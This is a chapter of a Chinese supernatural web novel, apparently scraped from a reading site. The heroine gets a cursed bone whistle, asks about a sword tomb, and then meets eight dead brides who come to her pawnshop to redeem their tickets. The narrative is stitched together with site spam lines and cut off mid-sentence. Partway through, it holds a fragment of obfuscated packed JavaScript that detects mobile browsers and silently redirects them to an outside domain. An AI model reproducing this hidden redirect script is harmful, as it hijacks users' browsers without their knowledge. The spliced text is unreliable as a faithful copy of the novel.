我下意识地摸了摸脖子上一直戴着的那枚玉佩,心里有些失落。
“你给我的那枚金色铜钱,在昌市1战中被收回了。”
那枚金色铜钱在关键时刻帮了我很大的忙,在我眼里,它属于柳珺焰的一部分,极其珍贵。
我有些怅然。
凤梧被禁锢在了涅槃火中,如今我没有什么趁手的武器了。
苍梧冥印还不怎么能受我控制,并且它在阳间的使用效果并没有在阴间好。
还好我又研习了一些上古巫法,关键时刻能派上用场。
我是不是该再选一个武器傍身了?
一时半会的,我还真没想到有什么合适的武器。
不过好在这次的主战场是五福镇,咱们的人手全都撤了回来,我有很多帮手。
这样想着,我便也没有那么心慌了。
“那枚铜钱是核心,如今我要通过它将铜钱人重新凝聚。”
听他这么说,我的心情立刻转好:“原来它没有消失,真好!”
柳珺焰犹豫了一下,从怀里掏出一只骨哨,交给我说道:“这是我最终冲破大**的封印时,从他手中夺过来的,它是大**的本命法器,以怨灵供养,属于邪器,使用它可以凝聚百里内的怨气压顶,但反噬力也极大,等金无涯回来之后,可以找他帮忙改造,在力所能及的范围内将反噬力控制到最低状态。”
骨哨只有大拇指大小,触手阴寒,哨口有挂孔,可以随身携带。
我收下骨哨,忽然又想到了一些事情:“对了,阿焰,能跟我说说剑冢的事情吗?”
剑冢关乎到柳珺焰的本命法器,但七片金鳞如今只拿回了四片,剩下的三片不知道流落在哪、在谁的手中,可能来不及拿回来了。
凌海龙族动荡,必定波及到禁地,我有些担心剑冢出问题。
“剑冢是我设的。”柳珺焰说道,“一百年前,在我的渡劫期即将到来之际,禁地动荡,怨煞之气迅速凝聚在化龙鼎里,导致我母亲和大舅差点顶不住……”
原来柳珺焰设剑冢,是为了**禁地的动荡。
我问:“剑冢里的那些剑是?”
“它们都是我的本命法器的分身。”柳珺焰说道。
我明白了。
所以一百年前是柳珺焰自己放弃了飞升的机会。
我继续分析:“七片金鳞是在设立剑冢之后散落流失出去的,那有没有可能,剩下的金鳞有一部分,或者是全部,都还在凌海禁地?”
不,如果还在
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
凌海禁地,柳母不可能不想方设法的帮柳珺焰拿回来。
要么就是全部流失出去了,要么就是被握在凌海禁地里的某个人手中。
而这个人,强大、隐秘,能够撼动整个凌海……我猛然打了一个哆嗦。
柳珺焰一惊,下意识地搂紧我,问道:“小九,你怎么了?
“阿焰,我忽然想起来一件事。
从苍梧山回来之后,我几乎是连轴转,导致我无暇回想之前的细枝末节。
并且那会儿我下意识地认为那头白龙就是凌海龙王。
毕竟他太大了,威慑力也太强了。
可柳珺焰说,他大舅是一条黑龙,二舅、三舅是青龙。
我追问:“阿焰,你好好想想,凌海龙族里的白龙,有那么巨大的是谁?
柳珺焰摇头:“凌海龙族的白龙数量本就不多,还屡遭献祭,能够长到如你形容的那样大的,在我印象中……没有。
他的脸色瞬间变得凝重起来:“小九,我得回去求证一下,你先睡。
他说着就要下床,我一把拉住他的手。
我心里没来由地有点慌,莫名地又想起西屋里逐渐被白色鳞甲覆盖的铜钱人,那个曾经对铜钱人夺舍失败的家伙,会不会就是那头白色巨龙?
我不敢往下想了,再想,脑袋都要炸了。
柳珺焰拍了拍我的手,宽慰道:“小九,没事的,我去去就回。
我最终还是松开了柳珺焰,叮嘱道:“一定要注意安全。
“好。
柳珺焰披了件外套就出去了。
已经过了零点,我却毫无睡意,一个人坐在南书房的柜台后面发呆。
不知道过了多久,也不知道是什么时候,外面淅淅沥沥地下起了小雨。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297455|174194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>西街口忽然响起了啪嗒啪嗒的脚步声,湿漉漉的。
我没有在意,应该是窦金锁的父母又出来了。
但紧接着我就发现不对劲。
今夜的脚步声,要比之前窦金锁父母出现的时候更杂乱、密集,不止两个人!
并且,伴随着脚步声,还有铁索拖地的声音传来,越来越近,竟是冲着当铺来了。
我立刻坐直了身体,紧盯着南书房临街的小门外。
很快,一个头顶红盖头,身穿红色嫁衣的女子出
听说看这本书的人都是很幸运的,分享后你的运气会更棒
现在了门外。
她是踮着脚走路的,脚踝上缠着铁索,每走一步,脚下都带着一汪血水。
南书房门槛很低,她直直地走进来,在我的注视之下,将长满尖锐的黑色指甲的手伸进红盖头下,用力一拽。
我只听到一阵令人牙酸的摩擦声从红盖头下传来。
那种声音,像一把钝刀挫着骨头一般。
很快,有黑血顺着她的手臂往下流,她的手缓缓从红盖头下抽出来,手中赫然握着一根布满了黑色陈旧血迹的棺钉!
她将棺钉放在柜台上,阴森可怖的女声随即响起:“赎当。”
赎当?
我张嘴刚想问她要赎什么,门口,第二个盖着红盖头,穿着红嫁衣的女人出现。
同样的流程走了一遍,柜台上又多了一根棺钉。
紧接着是第三个,第四个……第八个!
我的柜台前,整整站了八个顶着红盖头,穿着红嫁衣,踮着脚要赎当的……女尸!
她们是五福镇当铺的前八任女掌柜,我见过她们的。
当时她们身在珠盘江里,骑坐在一口口红棺上。
窦知乐也提醒过我,当初从当铺里抬出去的这八个女掌柜,迟早会回来找我。
果然,他的话应验了。
我只感觉头皮发麻,因为我知道她们要赎什么。
她们要赎当初典当她们进当铺时的当票……那是她们的**契!
可她们与我一样,当初都是被死当进当铺的。
死当品,万万没有再被赎回去的道理……